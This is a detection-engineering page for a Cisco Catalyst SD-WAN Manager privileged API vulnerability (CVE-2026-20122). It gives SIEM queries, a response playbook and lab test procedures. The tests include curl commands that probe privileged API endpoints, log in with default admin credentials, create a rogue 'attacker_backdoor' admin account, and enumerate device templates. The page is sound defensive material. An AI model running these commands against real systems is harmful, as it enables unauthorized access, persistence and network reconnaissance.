Cisco Catalyst SD-WAN Manager Privileged API Abuse (CVE-2026-20122)
Detects exploitation of CVE-2026-20122, a critical vulnerability in Cisco Catalyst SD-WAN Manager involving incorrect use of privileged APIs (CWE-648). This KEV-listed flaw allows attackers to invoke privileged API endpoints without proper authorization, potentially enabling unauthorized configuration changes, credential harvesting, or full SD-WAN infrastructure takeover. Active exploitation has been observed in the wild per CISA Emergency Directive ED-26-03.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Cisco
- Product
- Catalyst SD-WAN Manger
Weakness (CWE)
Timeline
- Disclosed
- April 20, 2026
References & Proof of Concept
- https://www.cisa.gov/news-events/directives/ed-26-03-mitigate-vulnerabilities-cisco-sd-wan-systems
- https://www.cisa.gov/news-events/directives/supplemental-direction-ed-26-03-hunt-and-hardening-guidance-cisco-sd-wan-systems
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-authbp-qwCX8D4v
- https://nvd.nist.gov/vuln/detail/CVE-2026-20122
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
What is CVE-2026-20122 Cisco Catalyst SD-WAN Manager Privileged API Abuse (CVE-2026-20122)?
Cisco Catalyst SD-WAN Manager Privileged API Abuse (CVE-2026-20122) (CVE-2026-20122) maps to the Initial Access and Privilege Escalation and Defense Evasion and Lateral Movement tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Cisco Catalyst SD-WAN Manager Privileged API Abuse (CVE-2026-20122), covering the data sources and telemetry it touches: CommonSecurityLog, AzureDiagnostics, Cisco SD-WAN Manager Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
let SdwanManagerHosts = dynamic(["sdwan-manager", "vmanage"]);
let PrivilegedApiPaths = dynamic(["/dataservice/admin", "/dataservice/system", "/dataservice/device/action", "/dataservice/template", "/dataservice/settings/configuration", "/dataservice/certificate", "/dataservice/aaa"]);
let SuspiciousStatusCodes = dynamic([200, 201, 204]);
let LookbackWindow = 1h;
union
(
CommonSecurityLog
| where TimeGenerated >= ago(LookbackWindow)
| where DeviceVendor =~ "Cisco" and DeviceProduct has_any ("SD-WAN", "vManage", "Catalyst SD-WAN")
| where RequestURL has_any (PrivilegedApiPaths)
| where RequestMethod in ("POST", "PUT", "DELETE", "PATCH")
| where toint(EventOutcome) in (SuspiciousStatusCodes)
| extend SourceIP = SourceIP, RequestedAPI = RequestURL, HttpMethod = RequestMethod
| project TimeGenerated, SourceIP, DestinationIP, RequestedAPI, HttpMethod, EventOutcome, Message, DeviceAction
),
(
AzureDiagnostics
| where TimeGenerated >= ago(LookbackWindow)
| where Category =~ "ApplicationGatewayAccessLog" or ResourceType =~ "APPLICATIONGATEWAYS"
| where requestUri_s has_any (PrivilegedApiPaths)
| where httpMethod_s in ("POST", "PUT", "DELETE", "PATCH")
| where httpStatus_d in (200, 201, 204)
| extend SourceIP = clientIP_s, RequestedAPI = requestUri_s, HttpMethod = httpMethod_s
| project TimeGenerated, SourceIP, RequestedAPI, HttpMethod, httpStatus_d, host_s
)
| summarize
RequestCount = count(),
UniqueAPIs = dcount(RequestedAPI),
APIsAccessed = make_set(RequestedAPI, 20),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by SourceIP, HttpMethod
| where RequestCount >= 3 or UniqueAPIs >= 2
| extend RiskScore = case(
UniqueAPIs >= 4, "Critical",
UniqueAPIs >= 2, "High",
RequestCount >= 10, "High",
"Medium"
)
| sort by UniqueAPIs desc, RequestCount desc Detects unauthorized or anomalous access to privileged SD-WAN Manager API endpoints indicative of CVE-2026-20122 exploitation. Correlates HTTP method, API path, and response codes across CommonSecurityLog and AzureDiagnostics to surface privilege abuse patterns.
Data Sources
Required Tables
False Positives
- Legitimate SD-WAN administrators performing bulk configuration changes or template deployments
- Automated orchestration tools or CI/CD pipelines that interact with the SD-WAN Manager API using service accounts
- Vulnerability scanners or compliance tools performing API enumeration against the management plane
- Cisco TAC remote support sessions accessing privileged endpoints during troubleshooting
Sigma rule & cross-platform mapping
The detection logic for Cisco Catalyst SD-WAN Manager Privileged API Abuse (CVE-2026-20122) (CVE-2026-20122) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: azure Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-20122
References (4)
- https://www.cisa.gov/news-events/directives/ed-26-03-mitigate-vulnerabilities-cisco-sd-wan-systems
- https://www.cisa.gov/news-events/directives/supplemental-direction-ed-26-03-hunt-and-hardening-guidance-cisco-sd-wan-systems
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-authbp-qwCX8D4v
- https://nvd.nist.gov/vuln/detail/CVE-2026-20122
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated SD-WAN Manager Privileged API Probe
Expected signal: HTTP GET requests to /dataservice/admin/user, /dataservice/system/information, /dataservice/aaa/usergroup, /dataservice/certificate/list from the test host to port 8443, logged in vManage access logs and network flow.
- Test 2Privileged API Admin Account Creation Simulation
Expected signal: POST to /dataservice/aaa/user with a new username payload logged in vManage audit log, network capture showing the request body containing userName and group fields.
- Test 3SD-WAN Manager Template Enumeration and Exfiltration Simulation
Expected signal: Sequential GET requests to /dataservice/template/device, /dataservice/template/feature, /dataservice/device, and /dataservice/device/action/list within a short timeframe from a single source IP.
- Test 4Rapid Privileged API Burst from Single Source
Expected signal: 21+ HTTP requests across 7 distinct privileged API paths within seconds, all from the same source IP, logged in vManage access logs and network telemetry.
Response Playbook
Triage
- Confirm the source IP is not a known administrative host by cross-referencing the SD-WAN Manager authorized management IP whitelist and IPAM records.
- Identify which specific privileged API paths were accessed — paths under /dataservice/aaa, /dataservice/certificate, or /dataservice/admin are highest priority for privilege escalation assessment.
- Review SD-WAN Manager audit logs (available at /dataservice/auditlog) for corresponding user session records tied to the source IP, checking for session creation without a preceding authentication event.
- Determine whether any API responses included device configuration data, credentials, or template payloads that could indicate data exfiltration alongside privilege abuse.
- Check CISA ED-26-03 supplemental hunting guidance for IOCs and compare against observed source IPs, user agents, and API call patterns.
Containment
- Immediately block the offending source IP at the perimeter firewall and any SD-WAN Manager network ACL, preventing further privileged API access while investigation proceeds.
- If exploitation is confirmed, isolate the SD-WAN Manager instance by restricting management plane access to a dedicated, monitored jump host and revoke all active API tokens; force re-authentication for all administrative sessions.
- Apply the Cisco patch referenced in cisco-sa-sdwan-authbp-qwCX8D4v and validate successful remediation before restoring normal management access.
Evidence Collection
- Export the full SD-WAN Manager audit log from /dataservice/auditlog for the incident window and preserve to write-once storage, including all entries for the offending source IP and any user accounts that authenticated around the same time.
- Capture NetFlow or PCAP for traffic between the attacker IP and the SD-WAN Manager management interface, focusing on request/response body sizes that may indicate credential or configuration data transfer.
- Collect vManage application logs from /var/log/nms/ on the SD-WAN Manager host and preserve the running configuration snapshot to baseline any unauthorized changes made via the exploited privileged APIs.
Escalation Criteria
- ! Escalate immediately if the /dataservice/aaa or /dataservice/certificate endpoint was successfully invoked, as these allow creation of rogue admin accounts or injection of attacker-controlled certificates, indicating full infrastructure compromise.
- ! Escalate if SD-WAN device templates or device action endpoints were modified, as this could have pushed malicious configurations to managed WAN edge devices across the entire SD-WAN overlay network.
Investigation Guide
Forensic Artifacts
- >
Cisco vManage audit log entries at /dataservice/auditlog showing API calls without valid preceding session authentication - >
NMS application logs at /var/log/nms/vmanage-server.log on the SD-WAN Manager host containing REST API handler error messages or privilege bypass indicators - >
Network flow records showing connections from unexpected source IPs to TCP 8443 or 443 on the SD-WAN Manager management interface - >
SD-WAN Manager database entries in the user and certificate tables for accounts or certificates created around the time of exploitation
Tuning Guidance
Begin by baselining your SD-WAN Manager management IP whitelist and restricting the detection scope to traffic originating outside those known-good management hosts. If your organization uses API-driven automation, create an allowlist of service account user agents and source IPs and exclude them from alerting. Tune the request_count and unique_api_paths thresholds upward in environments with heavy automation. For highest-fidelity detection, correlate API access events with authentication log entries — API calls lacking a preceding successful authentication event within the same session are the strongest signal and should never be suppressed. In environments where SD-WAN Manager is behind a WAF or reverse proxy, ensure the detection operates on the upstream client IP rather than the proxy IP.
Hunting Queries
Threat hunt for unauthenticated or session-less successful mutations to Cisco SD-WAN Manager API endpoints over the past 7 days — identifies historical exploitation attempts that may predate alert tuning.
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DeviceVendor =~ "Cisco" and DeviceProduct has_any ("SD-WAN", "vManage")
| where RequestURL has "/dataservice/"
| where isempty(DestinationUserName) or DestinationUserName == ""
| where RequestMethod in ("POST", "PUT", "DELETE", "PATCH")
| where toint(EventOutcome) between (200 .. 299)
| summarize count() by SourceIP, RequestURL, RequestMethod
| where count_ >= 2
| sort by count_ desc index=network sourcetype IN ("cisco:sdwan", "cisco:vmanage") earliest=-7d
| eval api_path=coalesce(uri, url, request_uri)
| eval method=coalesce(method, http_method)
| eval status=coalesce(status, http_status_code)
| eval user=coalesce(user, username, cs_username)
| where match(api_path, "/dataservice/")
| where (isnull(user) OR user="" OR user="-")
| where method IN ("POST", "PUT", "DELETE", "PATCH")
| where status IN ("200", "201", "204")
| stats count AS hits, values(api_path) AS paths BY src_ip
| where hits >= 2
| sort - hits Atomic Red Team Tests
Simulates an attacker probing the Cisco SD-WAN Manager admin API endpoints without a valid session token to test for CVE-2026-20122 privilege bypass. Lab use only — run against an isolated vManage instance.
Command
TARGET_IP="192.168.100.10"; for endpoint in "/dataservice/admin/user" "/dataservice/system/information" "/dataservice/aaa/usergroup" "/dataservice/certificate/list"; do echo "[*] Testing: $endpoint"; curl -sk -X GET "https://${TARGET_IP}:8443${endpoint}" -H 'Content-Type: application/json' -w "\nHTTP Status: %{http_code}\n"; done Cleanup
No persistent changes — read-only probe. Verify no session artifacts remain in vManage audit log if test is complete. Expected Telemetry
HTTP GET requests to /dataservice/admin/user, /dataservice/system/information, /dataservice/aaa/usergroup, /dataservice/certificate/list from the test host to port 8443, logged in vManage access logs and network flow.
Expected Detection
Alert should fire when 3+ distinct privileged API paths are accessed from the same source IP. If the vulnerability is present and returns 200, the high-severity variant should trigger.
Simulates post-exploitation account persistence via the SD-WAN Manager /dataservice/aaa/user endpoint, mimicking attacker behavior after CVE-2026-20122 privilege bypass. Lab use only.
Command
TARGET_IP="192.168.100.10"; SESSION_TOKEN=$(curl -sk -X POST "https://${TARGET_IP}:8443/j_security_check" -d 'j_username=admin&j_password=admin' -c /tmp/sdwan_cookie.txt -w '%{http_code}' -o /dev/null); curl -sk -X POST "https://${TARGET_IP}:8443/dataservice/aaa/user" -b /tmp/sdwan_cookie.txt -H 'Content-Type: application/json' -d '{"userName":"attacker_backdoor","password":"Attack3r!2026","group":["netadmin"],"description":"test"}' -w "\nHTTP Status: %{http_code}\n"; rm -f /tmp/sdwan_cookie.txt Cleanup
DELETE the created user via: curl -sk -X DELETE "https://${TARGET_IP}:8443/dataservice/aaa/user/attacker_backdoor" with admin credentials. Verify user no longer appears in /dataservice/aaa/user output. Expected Telemetry
POST to /dataservice/aaa/user with a new username payload logged in vManage audit log, network capture showing the request body containing userName and group fields.
Expected Detection
The mutation to /dataservice/aaa should trigger the privileged API detection rule at critical severity, especially if the session was not preceded by a standard authentication event.
Simulates attacker reconnaissance of device templates via the privileged /dataservice/template endpoint to understand network topology, as an attacker would after exploiting CVE-2026-20122.
Command
TARGET_IP="192.168.100.10"; for endpoint in "/dataservice/template/device" "/dataservice/template/feature" "/dataservice/device" "/dataservice/device/action/list"; do echo "[*] Querying: $endpoint"; curl -sk -X GET "https://${TARGET_IP}:8443${endpoint}" -H 'Content-Type: application/json' -H 'Accept: application/json' -w "\nHTTP Status: %{http_code}\n" | python3 -m json.tool 2>/dev/null | head -20; sleep 1; done Cleanup
Read-only enumeration — no cleanup required. Verify no scheduled device actions were inadvertently triggered. Expected Telemetry
Sequential GET requests to /dataservice/template/device, /dataservice/template/feature, /dataservice/device, and /dataservice/device/action/list within a short timeframe from a single source IP.
Expected Detection
The unique_apis threshold of 2+ distinct privileged paths should trigger the detection rule at high severity, with the /dataservice/device/action path elevating to critical if write methods are used.
Simulates a high-volume exploit attempt or automated exploitation framework targeting CVE-2026-20122 by rapidly iterating across multiple privileged API endpoints, matching the rate patterns of known exploit tooling.
Command
TARGET_IP="192.168.100.10"; ENDPOINTS=("/dataservice/admin/user" "/dataservice/settings/configuration" "/dataservice/certificate/list" "/dataservice/aaa/usergroup" "/dataservice/system/information" "/dataservice/admin/user/permission" "/dataservice/device/action/list"); for i in {1..3}; do for ep in "${ENDPOINTS[@]}"; do curl -sk -X GET "https://${TARGET_IP}:8443${ep}" -H 'Content-Type: application/json' -o /dev/null -w "${ep}: %{http_code}\n"; done; done Cleanup
No persistent changes. Clear any connection entries from SD-WAN Manager session table if accessible. Expected Telemetry
21+ HTTP requests across 7 distinct privileged API paths within seconds, all from the same source IP, logged in vManage access logs and network telemetry.
Expected Detection
Should trigger at critical risk score given unique_apis >= 4 threshold is met, and request_count will significantly exceed the minimum threshold of 3.